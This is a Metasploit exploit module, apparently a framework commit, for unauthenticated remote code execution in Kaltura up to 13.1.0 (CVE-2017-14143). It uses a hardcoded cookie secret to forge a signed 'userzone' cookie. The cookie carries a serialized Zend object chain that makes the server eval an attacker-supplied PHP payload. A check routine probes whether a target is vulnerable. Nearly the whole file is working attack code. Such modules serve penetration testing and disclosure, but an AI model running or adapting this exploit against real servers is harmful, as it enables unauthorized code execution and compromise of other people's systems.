Add Kaltura <= 13.1.0 RCE (CVE-2017-14143)
Robin Verton
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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CookieSecret = 'y3tAno3therS$cr3T'
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
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'Description' => %q{
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This module exploits an Object Injection vulnerability in Kaltura.
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By exploiting this vulnerability, unauthenticated users can execute
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arbitrary code under the context of the web server user.
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Kaltura makes use of a hardcoded cookie secret which allows to sign
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arbitrary cookie data. After passing this signature check, the base64-
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decoded data is passed to PHPs unserialize() function which allows for
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code execution. The constructed object is again based on the SektionEins
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Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
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affected by this issue.
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A valid entry_id (which is required for this exploit) can be obtained
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from any media resource published on the kaltura installation.
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This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Robin Verton <hello@robinverton.de>',
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'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module
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],
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'References' =>
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[
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['CVE', '2017-14143']
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [ ['Automatic', {}] ],
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'DisclosureDate' => 'Sep 12 2017',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
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OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
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]
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)
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end
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def check
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r = rand_text_alpha(15 + rand(4))
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entry_id = datastore['ENTRYID']
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cmd = "print_r(#{r}).die()"
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p = ""
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p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
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p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
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p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
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p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
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p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
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p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
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p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
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encoded = Rex::Text.encode_base64(p)
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hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),
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'headers' => {
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'Cookie' => "userzone=#{encoded}#{hash}"
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}
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)
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if res and res.redirect?
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print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
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Exploit::CheckCode::Safe
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elsif res && res.body.include?(r)
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Exploit::CheckCode::Vulnerable
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else
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print_warning("Did you use a valid entry_id?")
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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entry_id = datastore['ENTRYID']
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cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
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p = ""
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p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
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p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
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p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
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p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
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p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
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p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
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p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
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encoded = Rex::Text.encode_base64(p)
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hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),
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'headers' => {
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'Cookie' => "userzone=#{encoded}#{hash}"
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}
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)
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if res and res.redirect?
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print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
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elsif res and res.code != 200
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print_error("Unexpected response...")
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else
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print_status("Output: #{res.body}")
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end
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end
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end
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